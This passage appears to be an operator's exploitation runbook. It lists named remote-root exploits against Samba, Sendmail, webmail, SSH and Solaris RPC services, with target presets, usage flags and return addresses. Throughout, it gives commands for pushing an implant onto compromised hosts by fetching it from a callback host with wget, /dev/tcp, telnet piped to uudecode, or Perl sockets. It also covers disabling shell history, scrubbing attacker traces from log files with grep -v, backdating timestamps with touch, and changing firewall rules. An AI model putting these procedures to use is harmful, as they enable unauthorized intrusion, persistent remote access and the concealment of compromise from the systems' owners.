newer versions of FreeBSD + + +### upload executable +cp rforkx rf +packrat NETCAT_PORT rf + +telnet PITCH_IP NETCAT_PORT < /dev/console | uudecode;ls -la +uncompress rf +ls -latr +chmod 700 rf +./rf +# wait 5 sec and maybe control-c +id + + +# start nopen as root then reconnect + + +###################################### +# SM11X +###################################### + +Target platform 1: Red Hat Linux release 7.0 (Guinness) + ESMTP Sendmail 8.11.0/8.11.0 + Target platform 2: Red Hat Linux release 7.1 (Seawolf) + ESMTP Sendmail 8.11.2/8.11.2 + Target platform 3: FreeBSD 4.2-RELEASE + ESMTP Sendmail 8.11.1/8.11.1 +Caldera Linux 3.1 + Conectiva Linux 6.0 + Conectiva Linux 7.0 + Immunix Linux 7.0 + SuSE Linux 7.0 + SuSE Linux 7.1 + SuSE Linux 7.2 +"sendmail" daemon with any of the versions... + + 8.11 + 8.11.1 + 8.11.2 + 8.11.3 + 8.11.4 + 8.11.5 + 8.12.beta5 + 8.12.beta7 + 8.12.beta10 + 8.12.beta12 + 8.12.beta16 + + +What assumptions have been made in the design of this capability? + Setuid "root" existence of "/usr/sbin/sendmail" on Red Hat Linux 7.0 and + 7.1 systems, and "/usr/libexec/sendmail/sendmail" on FreeBSD-4.2 systems. + +### LOGGING: + +"/var/mail/maillog", + +cat /etc/redhat-release +ls -l /usr/sbin/sendmail + + +./sm11x -t OPTION +### look for the cksums to match, if they don't, you have 5 secs to control-c + +### if you don't control-c, a second 5-sec counter will start; you'll also see the following message: + + Recipient names must be specified + + +###### Cleanup: + +/var/log/messages (brute force) +/var/log/error_log (bus error, segment. fault, server seems busy) + + + + +################################### +# EGGBARON +################################### + +### Linux and FreeBSD systems running Samba 2.2.x (pre 2.2.8a) on x86 architectures. + +### If successful, it has samba start a listener on port 45295 and the exploit will attempt +### to connect to it to give you root. +### If you're redirecting, you need to set up a tunnel to port 45295 on the target, +### then connect to it via netcat. +### Note, that if you use the same ports on both tunnel ends, eggbaron may think that it +### was already successful because of false positives by the tunnel +### Might need to let it give "failed" messages 20-30 times before it works. + +./sambal +samba-2.2.x < remote root +-------------------------- +Usage: ./sambal [-bBcCdfprsStv] [host] + +-b bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, + 3 = OpenBSD 3.2) +-B bruteforce steps (default = 300) +-c connectback ip address +-C max childs for scan/bruteforce mode (default = 40) +-d bruteforce/scanmode delay in micro seconds (default = 100000) +-f force +-p port to attack (default = 139) +-r return address +-s scan mode (random) +-S scan mode +-t presets (0 for a list) +-v verbose mode + +./sambal -t0 +samba-2.2.x < remote root +-------------------------- +01. samba-2.2.x - Debian 3.0 [0xbffffea2] +02. samba-2.2.x - Gentoo 1.4.x [0xbfffe890] +03. samba-2.2.x - Mandrake 8.x [0xbffff6a0] +04. samba-2.2.x - Mandrake 9.0 [0xbfffe638] +05. samba-2.2.x - Redhat 9.0 [0xbffff7cc] +06. samba-2.2.x - Redhat 8.0 [0xbffff2f0] +07. samba-2.2.x - Redhat 7.x [0xbffff310] +08. samba-2.2.x - Redhat 6.x [0xbffff2f0] +09. samba-2.2.x - Slackware 9.0 [0xbffff574] +10. samba-2.2.x - Slackware 8.x [0xbffff574] +11. samba-2.2.x - SuSE 7.x [0xbffffbe6] +12. samba-2.2.x - SuSE 8.x [0xbffff8f8] +13. samba-2.2.x - FreeBSD 5.0 [0xbfbff374] +14. samba-2.2.x - FreeBSD 4.x [0xbfbff374] +15. samba-2.2.x - NetBSD 1.6 [0xbfbfd5d0] +16. samba-2.2.x - NetBSD 1.5 [0xbfbfd520] +17. samba-2.2.x - OpenBSD 3.2 [0x00159198] +18. samba-2.2.8 - OpenBSD 3.2 (package) [0x001dd258] +19. samba-2.2.7 - OpenBSD 3.2 (package) [0x001d9230] +20. samba-2.2.5 - OpenBSD 3.2 (package) [0x001d6170] +21. Crash (All platforms) [0xbade5dee] + +# EGGBARON may not work the first time using the target number as the -t flag. +# Try bruteforcing it using the -b flag. This usually works, and after very few tries. +# If this is taking a long time, try setting the bruteforce step size down using -b 100. +# Subsequently, the -t flag will work + + + +./sambal -b 0 TARGET_IP + +####### redirected: + +### via pitch: +-tunnel +l 1139 TARGET_IP 139 +l 4444 TARGET_IP 45295 +r NETCAT_PORT + +### Locally: +./sambal -p 1139 -b 0 127.0.0.1 +./sambal -f -p 1139 -b 0 127.0.0.1 + +# skip to nc section + + +### Thru a windows box: +### 1. Need a 2 second delay (-d 2000000) +### 2. Need three tunnels (exploit, nc to port 45295, and callback to upload RAT) + +background redirect -tcp -lplisten 4444 -target 10.1.1.3 45295 -bind WINDOWS_LOCAL +background redirect -tcp -lplisten 1139 -target 10.1.1.3 139 -bind WINDOWS_LOCAL +background redirect -tcp -implantlisten 25896 -target LOCAL_UNIX 25896 -nodes 40 + + +### If you think you can't contact the target directly and want the exploit to +### call back to you, use the "-c WINDOWS_TARG_CALLBACK" option, and start +### a windows tunnel and unix netcat listener on port 45295 +### Even if the "-c WINDOWS_TARG_CALLBACK" is used, both a callback to port 45295 _AND_ +### a listener on the target's port 45295 will be created + + +### Locally: +./sambal -t0 +./sambal -r 0xbffffb00 -b 0 -B 300 -v -c WINDOWS_TARG_CALLBACK -C 1 -f -d 2000000 -p 1139 WIN_LOCAL +./sambal -r 0xbffffd00 -b 0 -B 300 -v -c WINDOWS_TARG_CALLBACK -C 1 -f -d 2000000 -p 1139 WIN_LOCAL + + +### try connecting via netcat after any "session failed" message when redirecting: +nc PITCH_IP_or_WINDOWS_LOCAL 4444 +unset HISTSIZE +unset HISTFILESIZE +unset HISTFILE +w +uname -a +### start a netcat with the right nopen version (don't need to uuencode with /dev/tcp way) +### nc -l -v -p NETCAT_PORT < sendmail +pwd +mkdir /tmp/.scsi; cd /tmp/.scsi; pwd +ls -l /usr/bin/uudecode +/bin/cat/tmp/.scsi/sendmail +chmod 700 sendmail +PATH=. sendmail +id + +### Cleanup +# look for stray process in netstat (bunch of funky chars followed by /bin/sh on port 45295) +# then kill the associated process running it: +netstat -anlp | grep 45295 +ps -ef |grep +kill -9 + + +# Logging depends on OS; usually indicated in smb.conf file or check: +# /var/log/samba/smb.log, /var/log/samba/.log + +### +################################################## +# EXTRANEOUSMONKEY +################################################## + +-tunnel +l 443 TARGET_IP + +### verify the exploit will work with a test command: +./em -i 127.0.0.1 -t 2 -u "w; date; date -u; uname -a" + +### next, run this one using the proper noclient & noserver +### nopen will be started as httpd owned by apache +### you'll connect in the / directory + +./em -i 127.0.0.1 -t 2 -s /current/up/noserver -c /current/bin/noclient + + +-cd /tmp +-lt +uname -a + +### start another nopen listener on a random port (not reusing the socket) + +unset I; PATH=. D=-l38475 .httpd + + +### from redirector +-nstun TARGET_IP:38475 + + +### elevate using your favorite local (probably EVENTSTART), then start +### another privileged noserver, connect to it, then clean up + + +### Logging: +/var/log/httpd/ssl_error_log +/var/log/httpd/access_log +/var/log/httpd/ssl_access_log +/var/log/httpd/ssl_request_log + + + + +############################################################################## +### EXPIRETRACHEA +############################################################################# + +# close to freebsd 4.3 +# copy nopen for freebsd 4.3 as noserver in /current/up; automatically uploads and connects + +-scan mail TARGET_IP + +# returns BorderWare MXtreme Mail Firewall + +#cgi-bin/remote/expiretrachea/i586-pc-linux-gnu/opscript.borderware +#expiretrachea_helper.pl +#expiretrachea.pl -h hostname -c PITCH_IP + +### redirected: +-tunnel +l 80 TARGET_IP +r 25 + +# 1st window +expiretrachea_helper.pl -c PITCH_IP + +# 2nd window +expiretrachea.pl -h 127.0.0.1 -c PITCH_IP + +# clean logs: +### /server/ftp/log/httpd: referer_log, ssl_request_log, and access_log +#grep -v "-" /server/ftp/log/httpd/referer_log > /tmp/.scsi/c; cat /tmp/.scsi/c > /server/ftp/log/httpd/referer_log + +pwd +-lt /server/ftp/log +-lt /server/ftp/log/httpd +-lt / +df -k +w +ps -auxww +-cd /var/tmp + +-get /server/ftp/log/messages +-tail /server/ftp/log/messages +grep -v DSADMIN /server/ftp/log/messages > m; cat m > /server/ftp/log/messages +grep -v PITCH_IP /server/ftp/log/messages > m; cat m > /server/ftp/log/messages + +-get /server/ftp/log/httpd/referer_log +-tail /server/ftp/log/httpd/referer_log +grep -v prepend /server/ftp/log/httpd/referer_log > m; cat m > /server/ftp/log/httpd/referer_log +grep -v x90 /server/ftp/log/httpd/referer_log > m; cat m > /server/ftp/log/httpd/referer_log +grep -v admin /server/ftp/log/httpd/referer_log > m; cat m > /server/ftp/log/httpd/referer_log +grep -v C /server/ftp/log/httpd/referer_log > m; cat m > /server/ftp/log/httpd/referer_log + +-get /server/ftp/log/httpd/access_log +-tail /server/ftp/log/httpd/access_log +grep -v PITCH_IP /server/ftp/log/httpd/access_log > m; cat m > /server/ftp/log/httpd/access_log + +-get /server/ftp/log/httpd/ssl_request_log +-tail /server/ftp/log/httpd/ssl_request_log +grep -v PITCH_IP /server/ftp/log/httpd/ssl_request_log > m; cat m > /server/ftp/log/httpd/ssl_request_log + + +-get /server/ftp/log/httpd/error_log +-tail /server/ftp/log/httpd/error_log +grep -v PITCH_IP /server/ftp/log/httpd/error_log > m; cat m > /server/ftp/log/httpd/error_log +grep -v db_sql /server/ftp/log/httpd/error_log > m; cat m > /server/ftp/log/httpd/error_log + +-rm m +-rm /tmp/.scsi/sendmail /tmp/.scsi/getopt /tmp/.scsi +-lt + + +################################################### +### NFTP +################################################### +# nopen ftp +############ + +ourtn -lue PITCH_IP +noclient PITCH_IP:PORT + +-tunnel 12121 udp # NOTE: As of v1.1, if this is not there, the + error message will offer it as a pastable. + + +# In the LOCAL window, use nftp to transfer a file in both directions +# via NOPEN redirection to PITCH_IP in regular mode (-d and -V are +# optional and give more debugging/verbose information): + +nftp -r PITCH_IP -d -V TARGET_IP +# pnftp -r PITCH_IP -d -V TARGET_IP + +user +password +ls +cd /bin +lcd ../down +#get vi +cd /tmp +#put vi vi.test1 +bye + +####################################### +### ELITEHAMMER +####################################### +### Runs against RedFlag Webmail 4 (software install) +### Gives you user nobody, not root; +### Need a local to get root (EVENTSTART or ELASTICBANJO?) +### Webmail port is usually 80 or 443 + +-scan http TARGET_IP +-scan ssl TARGET_IP +-scan 8025 TARGET_IP + +### This version will reuse the same port for the nopen upload and the nopen callback: + +### Redirector: +-tunnel +l WEBPORT TARGET_IP +r CALL_BACK_PORT + +### In two scripted local windows, run the following: + +### 1st window +###./elitehammer_helper.pl -c -p [-n path to noserver ] [-s sleep secs ] +./elitehammer_helper.pl -c PITCH_IP -p CALL_BACK_PORT + +### 2nd window +###./elitehammer.pl -h -m -c -p [-l if https] +./elitehammer.pl -h 127.0.0.1 -m WEBPORT -c PITCH_IP -p CALL_BACK_PORT + + +### Troubleshooting Elitehammer +### If you throw the exploit and just see the first connection, +### a firewall might be blocking certain outbound ports + +-tunnel +l 8888 TARGET_IP mailport +r 53 +r 25 +r 110 +r 80 +r 443 +r 21 +r 22 +r 23 + +### Locally, setup nc for each of the above ports to see what target will allow +### out (53,25,110,80,443,21,22,23) +nc -l -p NETCAT_PORT + +### Then surf the following in a web browser and watch your netcat window for a connection: +http://127.0.0.1:8888/mod_password.php?cfg_m_function=http://PITCH_IP:NETCAT_PORT + +### Once you've identified a port allowed out, change the CALL_BACK_PORT in your tunnels and +### commands aand try again + +### Once successful, you'll be connected in a nopen window as user nobody + +-lt +id +-cd /tmp/.scsi +-lt +uname -a +w + +### more windows +# noclient -l CALL_BACK_PORT +# PATH=. D=-cPITCH_IP:CALL_BACK_PORT sendmail + +### Choose your poison for elevation (EVENTSTART, ELASTICBANJO, others) + +### Clean up + /webmail4/www/logs/access_log + +-lt /webmail4/www/logs +-grep PITCH_IP /webmail4/www/logs/access_log +grep -v PITCH_IP /webmail4/www/logs/access_log > m; cat m > /webmail4/www/logs/access_log +touch -t YYMMDDHHMM.ss /webmail4/www/logs/access_log +-lt /webmail4/www/logs/access_log +-rm m +-cd /tmp +-rm .scsi + +####################################### +### ELASTICBANJO +####################################### +### Elevates to root; make suren redmin is there + +-lt /usr/share/redmin/cgi/redmin + +### must use /tmp/.scsi directory +-cd /tmp/.scsi +-put /current/up/gr.tbz2 gr.tbz2 +tar xvfj gr.tbz2 +-shell +id +./gr +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +id +pwd +cd /tmp/.scsi +#PATH=. sendmail +#noclient -l NOPEN_PORT +#PATH=. D=-cPITCH_IP:NOPEN_PORT sendmail +exit +exit + +### Clean up + /var/log/rflogview/system_info + /var/log/cron + /var/spool/at/.SEQ + /tmp/1 + +-lt /tmp +-rm /tmp/1 + +-lt /var/spool +-lt /var/spool/at +-cat /var/spool/at/.SEQ + # decrement the number in the file by 1 + #echo 00000 > /var/spool/at/.SEQ +#echo NUMBER > /var/spool/at/.SEQ +chown daemon:daemon /var/spool/at/.SEQ +-cat /var/spool/at/.SEQ +-lt /var/spool/at +-touch /var/spool /var/spool/at/.SEQ +-touch /var/spool /var/spool/at/spool +-touch /var/spool /var/spool/at + +-lt /var/log/cron +-grep LIST /var/log/cron + # all should be from us +-gs grepout LIST /var/log/cron +#grep -v LIST /var/log/cron > m; cat m > /var/log/cron + +-lt /var/log/rflogview +-tail /var/log/rflogview/system_info +-grep LIST /var/log/rflogview/system_info +-gs grepout LIST /var/log/rflogview/system_info +# grep -v LIST /var/log/rflogview/system_info > m; cat m > /var/log/rflogview/system_info + +-lt / /var/run /var/log + +# check history files for root and user you elevated from + +-rm m sendmail +-cd /tmp +-rm /tmp/.scsi + +########## Adding/Deleting ipchains rules to scan/exploit internal targets ### +# specifically used for jogswirl *.133u, .132u) + +# on target +-ifconfig +ipchains -L -n --line-numbers > L:/current/down/ipchains.lnumbers-orig +ipchains -L -n --line-numbers + +# locally +./fw-ipchains -h +./fw-ipchains -s 172.16.80.19 -d 172.16.0.0/16 + +# on target + +# copy/paste add rules (tcp/udp...) from fw-ipchains output +# scan/exploit targets + +ipchains -L -n --line-numbers + +# copy/paste delete rules (tcp/udp...) from fw-ipchains output +ipchains -L -n --line-numbers > L:/current/down/ipchains.lnumbers-clean +ipchains -L -n --line-numbers + +# locally +cd /current/down +diff ipchains.lnumbers-orig ipchains.lnumbers-clean +# make sure -orig and -clean look the same; resetting rules to original state:q + +###################################################3 +# KWIKEMART +###################################################3 +# SSH-1.5-1.2.27 +# SSH-1.5-OpenSSH-1.2.3 +# SSH-1.99-OpenSSH_2.1.1 +# SSH-1.99-OpenSSH_2.2.0 + +telnet TARGET_IP + +./km* -t +./km -t0 +./km.e -t0 +./km -t2 TARGET_IP 22 + + +# CLEAN UP + +/var/log/messages +/var/log/auth + +##################################################3 + + + +############################################################ +# SSH +############################################################ + + + +### get nopen ready to paste with gedit: +cp noserver sendmail +compress sendmail +uuencode sendmail.Z sendmail.Z > sendmail.Z.uu +gedit sendmail.Z.uu + + +### redirector +-tunnel +l 22 TARGET_IP + + +# Multiple targets? If so, wipe your known_hosts file locally between each: +cat /dev/null > ~/.ssh/known_hosts + +ssh -x iga@127.0.0.1 "/bin/sh" + # or +ssh -p RANDOM_PORT -x username@127.0.0.1 /bin/sh + # or this eliminates the lack of tty problem +ssh -p RANDOM_PORT -x username@127.0.0.1 + + +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +w +id +uname -a +ls -la /boot +mkdir /tmp/.scsi;cd /tmp/.scsi;pwd +which uudecode uncompress + # gedit sendmail +uudecode; ls -la + + +# LINUX: +# start nopen so you can upload forkpty to be able to su (ptrace didn't work) +-put forkpty f +./f + +# or: +su + +############## upload nopen: + +### +### using uudecode pastable +### + +# if no uuencode and no ftshell (if you used telnet) try: +# locally run: +uudecode.pastable /current/up/morerats/noserver-3.0.3.1-i586.pc.linux.gnu.redhat-5.0 sendmail + +# paste the perl code that it spits out (hitting return after the last character), then +# paste sendmail that is brought up in gedit + +# you may need to hit Ctl-C after you see the upload complete +# Note: the upload may not echo to the screen until after the Ctl-C + + + + +### +### using cat & /dev/tcp: +### + +# on redir: +-tunnel +r RANDOM + +# netcat +nc -l -v -p RANDOM < sendmail + +# on target: +cat /dev/tcp/PITCH_IP/RANDOM > sendmail + + + + + +### +### using wget: +### + +# If none of the above work: +# Locally: +echo -e 'HTTP/1.0 200\n' > new +cat new ../up/morerats/noserver-2.6.1-i586.pc.linux.gnu.redhat-5.0 > /current/up/sendmail + +nc -l -v -p RANDOM < sendmail + +# on redir: +-tunnel +r RANDOM + +# on target +wget http://210.56.8.10:RANDOM/sendmail +ls -la +chmod 700 sendmail +PATH=. sendmail + +-nstun TARGET_IP + + + +### +### using secure copy +### + +# if that doesn't work, try secure copy: + +# on redir: +-tunnel +l RANDOM TARGET_IP 22 + + +# in a local scripted window: +cd /current/up +cp /current/up/noserver crond +scp -P RANDOM crond username@127.0.0.1:/tmp/.scsi/crond +# enter passwd at the prompt + + + +### +### Want netcat? netcat nc -- how abuot perl instead? +### using target's perl to open a socket, either +### callback or listen on target. +### + +my +:%s/PERLNAME/PERLNAME/g +:%s/PERLRANDOMPORT/PERLRANDOMPORT/g +:%s/PERLCALLBACKIP/PERLCALLBACKIP/g +:%s/PERLCALLFORWARDIP/PERLCALLFORWARDIP/g +:%s,PERLUPLOADFILE,PERLUPLOADFILE,g +`y + +#### CALLING out from target +# LOCALLY use netcat to upload file +nc -vv -l -p PERLRANDOMPORT < PERLUPLOADFILE + +# or if you want a loop to keep listening after each upload +while [ 1 ] ; do \ + echo starting listen on PERLRANDOMPORT ; \ + date ; \ + nc -vv -l -p PERLRANDOMPORT < PERLUPLOADFILE; \ + echo done ; \ + sleep 3 ; \ +done + +# tunnel +-tunnel +r PERLRANDOMPORT + + +# ON TARGET +perl -MIO -e 'close(STDIN);$c=IO::Socket::INET->new("PERLCALLBACKIP:PERLRANDOMPORT")or exit1;binmode($c);open(O,">PERLNAME")or exit 1;binmode(O);select O;$|=1; print O while (<$c>);close(STDOUT);close($c);unlink("PERLNAME") unless (-s "PERLNAME");' + + +### LISTENING on target + +# ON TARGET +perl -MIO -e '$s=new IO::Socket::INET(LocalPort,PERLRANDOMPORT,Reuse,1,Listen,10) or exit 1; $c=$s->accept() or exit 1;open(O,">PERLNAME")or exit 1;select O;$|=1;print O while <$c>;close(O);close($c);unlink("PERLNAME") unless (-s "PERLNAME");' + +# tunnel +-tunnel +l PERLRANDOMPORT PERLCALLFORWARDIP + +# LOCALLY +nc -vv 127.0.0.1 PERLRANDOMPORT < PERLUPLOADFILE + + + + + + + + +### +### to elevate using EVENTSTART(?) use whatever name you want +### +-put /current/up/h h + +# in your ssh or telnet masquerade window: +./h + +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +id +cd /tmp/.scsi;pwd +chmod 700 sendmail +chown root:root /tmp/.scsi +PATH=. sendmail + +### in another window +-nstun TARGET_IP 32755 + +-rm sendmail + +##### Don't forget to burn the unprivileged nopen + + + +# Cleanup +/var/log/secure +/var/log/messages +/var/log/lastlog +/var/log/wtmp +/var/run/utmp + + + + +########################################################### +# BOSSLAD +########################################################### +### when nsrexec is there but NOT with nsrstatd??? +### like a tcp version of BS +### always uses port 7937 + + +### ./bll.tnc.gr + +# Before running this script, you first need to run the following: +# nc -l -p localPort < file2Xfer&Run.uu +# (nc must be in your path; it's also run w/in this script) +# where file2Xfer&Run.uu is a compressed, uuencoded file. + + +# Usage: bll.tnc.gr +# [options] -- [options to ] +# -i (required) +# -l (required) +# -p def = 32177 +# -f (required) +# -D def= /tmp/.X11R6 +# + +# ./bll.tnc.gr -i 66.128.32.67 -l 67.233.61.230 -p 24792 -f sendmail -D /tmp/.scsi + +packrat NETCAT_PORT + +### On redirector: +-tunnel +l 7937 TARGET_IP +r NETCAT_PORT + +### On local machine: +### Ex.: ./bll.tnc.gr -i 127.0.0.1 -l 150.27.1.11 -p 45226 -f sendmail -D /tmp/.scsi + +./bll.tnc.gr -i 127.0.0.1 -l PITCH_IP -p NETCAT_PORT -f RAT_NAME -D /tmp/WORK_DIR + + +### Once upload of RAT completes, connect to target from PI with nopen: +-nstun TARGET_IP + + + + +### Cleanup +-ls /nsr/cores +-ls /nsr/cores/sh +-cat /nsr/cores/sh/* +rm /nsr/cores/sh/* +-rm /nsr/cores/sh +-touch SOMEFILE /nsr/cores + +-ls /nsr/logs +-ls /nsr/logs/daemon.log +-get /nsr/logs/daemon.log +wc -l /nsr/logs/daemon.log +head -## /nsr/logs/daemon.log > n +-cat n +cat n > /nsr/logs/daemon.log +touch SOMEFILE /nsr/logs/daemon.log + + + + +######################################################### +# ELVISCICADA +######################################################### +### only up to ealry Sol2.9; Sol2.10 not vulnerable + +### snmpXdmid (/usr/lib/dmi/dmispd) daemon program (RPC program 300598 version 1) +# Req: +# 1. you must know the OS +# 2. you must ba able to connect with TCP (for when you get the root shell) +# 3. /usr/lib/dmi/dmispd must be running on the target system, +# and you must be able to successfully talk to its ___UDP___ port. +# This is usually evidenced by RPC program 300598 version 1 +# during rpcinfo -p and UDP rpcinfo -n "touches" of the target, such as... +# +# $ rpcinfo -p target +# ... +# 300598 1 udp 32879 +# 300598 1 tcp 32796 +# ... +# $ rpcinfo -n 32879 -u target 300598 +# program 300598 version 1 ready and waiting +# $ +# +# if rpcinfo -n returns "ready and waiting", ELVISCICADA should be ready to sing. + +### -scan brpc TARGET_IP +### look for program 300598 version 1 of dmispd and make note of UDP port + +### test that TCP connects get thru to the default shellcode port (32387) +### (being refused is still good - means it went thru) +### If the port doesn't answer, pick another port that works, AND add the "-s" option +### using the new (random) port + +# ON PI: +-tunnel +l 32387 TARGET_IP + +# Locally +telnet 127.0.0.1 32387 + + + + +### Usage: +./dw.linux + +### Use the lowest number for the target OS and increment by one for subsequent attempts: + +./dw.linux -t -i TARGET_IP -s RANDOMSHELLPORT -p UDPPROGRAMPORT +./dw.linux -t -i TARGET_IP -p UDPPROGRAMPORT + +### If redirected: + +# On PITCHIMPAIR +-tunnel +l RANDOMSHELLPORT TARGET_IP +u PROGRAMPORT TARGET_IP +r NETCATPORT + + +# Locally: +./dw.linux -t -i 127.0.0.1 -s RANDOMSHELLPORT -p UDPPROGRAMPORT -w 10 -b 1024 +./dw.linux -t -i 127.0.0.1 -p UDPPROGRAMPORT + + + +### Once you have root, get nopen up there: + +### on PITCHIMPAIR +-tunnel +r NETCAT_PORT + +### On target: +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +cd /tmp +mkdir WORK_DIR +cd /tmp/WORK_DIR +pwd +telnet PITCH_IP NETCAT_PORT < /dev/console | uudecode;ls -la +uncompress sendmail.Z +netstat -an | grep RAT_PORT +D=-lRAT_PORT PATH=. sendmail +netstat -an | grep RAT_PORT + +### pitch window +-nstun TARGET_IP RAT_PORT + + +### Restart both dmispd daemons before leaving the target: + +ps -ef |grep dmi +exec 3<&- 4<&- 5<&- 6<&- 7<&- 8<&- 9<&- +rpcinfo -d 300598 1 +/etc/rc3.d/S77dmi stop < /dev/console 2>&1 >/dev/null +/etc/rc3.d/S77dmi start < /dev/console 2>&1 >/dev/null +ps -ef |grep dmi + +### should see something like this: +# root 580 399 0 12:48:18 ? 0:00 grep dmi +# root 577 1 0 12:48:18 ? 0:00 /usr/lib/dmi/snmpXdmid -s target +# root 573 1 0 12:48:18 ? 0:00 /usr/lib/dmi/dmispd + + +### Cleanup: +# possible core file in /? or /usr/lib/dmi/dmispd? +-ls /core /usr/lib/dmi/dmispd + +#/var/adm/messages (for failures) +-tail /var/adm/messages + + + +######################################################### +# EMPTYCRISS +######################################################### + + +### No redirection: + +### This will create the output to paste into the telnet window: +### local unscripted window: + +./emptycriss TARGET_IP + # or +perl ./emptycriss TARGET_IP + + +### op window +### paste instructions from 1st window into this one +### Ex.: +#ATTACKER# telnet +# +#ATTACKER# telnet> environ define TTYPROMPT abcdef +# +#ATTACKER# telnet> o victimip +# +#ATTACKER# telnet> root c c c c c c c c c c c c c c +#c c c c c c c c c c c c c c c c c c c c c c c c c c +#c c c c c c c c c c c c c c c c c c c c c c c c\n +## +##id +##uid=0(root) gid=1(other) +##uname -a + +### if it fails, try again as /bin + +ftshell telnet + + + + +### Redirected: + +-tunnel +l RANDOM TARGET_IP 23 + +# +# In unscripted window +# +./emptycriss 127.0.0.1 + + +# In scripted op window: + +ftshell telnet + +### NOTE: be sure to open 127.0.0.1 on the RANDOM redirected port + +#Ex: +#o 127.0.0.1 RANDOM + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +cd /tmp +mkdir WORK_DIR +cd /tmp/WORK_DIR +pwd +~~p +noserver sendmail +ls -la +chmod 700 sendmail +PATH=. D=-lRAT_PORT sendmail + +########################################## +# EASYSTREET +########################################## +### cmsd 100068 +### UDP is best since it's a single packet to exploit + +-scan rpc TARGET_IP # look for 100068 and make note of port + +### UDP is best since it's a single packet to exploit +### with -sploit: + +#-sploit will ask you which exploit to try. +# Select 'CM' (calendar manager) +# Another window will pop up to run the exploit +# This window will pause to allow you to verify the command it will run. +# The command should look something like this (the ports will vary): +# -u 32778 -i 127.0.0.1 -l 192.168.250.3 -r sendmail -D /tmp/.scsi -n 26120 -c +# Append '-T 2' to the front of the line so that it looks like this: +# -T 2 -u 32778 -i 127.0.0.1 -l 192.168.250.3 -r sendmail -D /tmp/.scsi -n 26120 -c +# Then press return. + +# The exploit window will prompt you to set up a listener like this: +# You must establish a NOPEN listener on 192.168.250.3:SOME_RANDOM_PORT + +-nrtun RANDOM (as indicated in the -sploit exploit prompt) + +#Press enter + +#Now the exploit will occur and, after a couple of minutes, it will call back +#to your listener. +#Once the callback occurs, take the following steps: + +#In a local window +LOCAL>closetunnel + +#Press 'A' to abort the autodone commands +#Delete the files created by your exploit +#There should be one lock file and one callog file +-lt /var/spool/calendar +-rm /var/spool/calendar/THE_TWO_MOST_RECENT_FILES + +#Use touch to set the directory timestamp back +-lt /var/spool +-touch /var/spool/SOME_OLDER_DIRECTORY /var/spool/calendar + + +### Usage: +./cmsex +./cmsex.auto + + +### get nopen ready +packrat noserver + + +### no redirection +./cmsex -i TARGET_IP -c 'mkdir /tmp/.scsi; cd /tmp/.scsi && telnet LOCAL_IP NETCAT_PORT | uudecode && uncompress sendmail.Z && PATH=. sendmail' -T (-u RANDOM | -t RANDOM) + + +### Redirected: +-tunnel +u RANDOM TARGET_IP CMSD_PORT +r NETCAT_PORT + + + +./cmsex -i 127.0.0.1 -c 'mkdir /tmp/.scsi; cd /tmp/.scsi && telnet PITCH_IP NETCAT_PORT | uudecode && uncompress sendmail.Z && PATH=. s +endmail' -T 3 -u RANDOM + + + +### when the upload is done, kill the netcat, then try connecting in +-nstun TARGET_IP + +-rm sendmail + + +### Logging: +-lt /var/adm +-lt /var/spool/calendar + + + + +######################################################### +# EBB (for EBBISLAND see user.tool.ebbisland.COMMON) +######################################################### + +### Sol2.10 vulnerable for only program 100230 metamhd using ebbshave.v4 + +### ./ebbshave.v5 is a wrapper program for ebbnew_linux exploit for Sparc Solaris RPC services +### Important: ebbnew_linux must be in your PATH + +command that is useful: + rpcinfo -n -u|-t + +usage: ./ebbshave.v5 -o -v -t -p +-o : one of the following options [1-19]: + 1, "5.9 metamhd", program # = 100230, + 2, "5.8 ruserd", program # = 100002, NOTE = version 1 + 3, "5.8 ruserd", program # = 100002, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 4, "5.8 ttdbserverd", program # = 100083, + 5, "5.8 cachefsd", program # = 100235, NOTE = version 1 - Start with option #6 first, if it fails then try this option + 6, "5.8 cachefsd", program # = 100235, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 7, "5.8 metad", program # = 100229, NOTE = version 1 + 8, "5.8 metad", program # = 100229, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 9, "5.8 metamhd", program # = 100230, + 10, "5.7 ruserd", program # = 100002, NOTE = must start service first by using rpcinfo -n before using this option + 11, "5.7 kcms_server", program # = 100221, + 12, "5.7 cachefsd", program # = 100235, + 13, "5.7 ttdbserverd", program # = 100083, + 14, "5,7 dr_daemon", program # = 300326, + 15, "5.6 ruserd", program # = 100002, + 16, "5.6 kcms_server", program # = 100221, + 17, "5.6 cachefsd", program # = 100235, NOTE = version 1 - Start with option #18 first, if it fails then try this option + 18, "5.6 cachefsd", program # = 100235, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 19, "5.6 ttdbserverd", program # = 100083, +-v : the program version number you are exploiting which is obtained from rpcinfo output +-t : targets ip address +-p : port number rpc program is listening on +example: + ./ebbnew_linux.wrapper -o 2 -v 2 -t 192.168.10.4 -p 32772 + +If you fail to exploit using ./ebbshave.v5, try bruteforcing using ebbshave.v4 + + +### 1. Use the following command to look for a suitable program to hit + +### Redirection: +-tunnel +l 111 TARGET_IP + +### Local box: +./ebbshave.v5 +ebbshave -p 127.0.0.1 + +### 2. Verify the portnum will work (should respond "ready and waiting) +### Use either: +# rpcinfo -n -u|-t +# Ex.: ebbshave -n 32776 -t targetip 100229 + +### Redirector: +-tunnel +l PORTNUM TARGET_IP + +### Locally, see if the program you want is a viable option: +./ebbshave -n portnum -t host prognum +./ebbshave -n PORTNUM -t 127.0.0.1 PROGNUM + +### Use this for usage statement +./ebbshave + + +###### 3. Plug in your choices and go: + +### Netcat window: +packrat NETCAT_PORT + +### Redirector: +-tunnel +l 111 +l PORTNUM TARGET_IP +r NETCAT_PORT + +### Locally: +#ebbshave -B -T OPTION -n PORTNUM -t 127.0.0.1 PROGNUM +ebbshave -n -t 127.0.0.1 + +# To throw it: +ebbshave -T -n -t 127.0.0.1 + + + +### If that doesn't work, try without the best guess (B) option, or maybe increase th +### timeout period (W) +ebbshave -T OPTION -n PORTNUM -t 127.0.0.1 PROGNUM + + +### If successful, you should get a root shell + +### Get the following ready for pasting: (paste one line at a time) + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +cd /tmp +mkdir WORK_DIR +cd 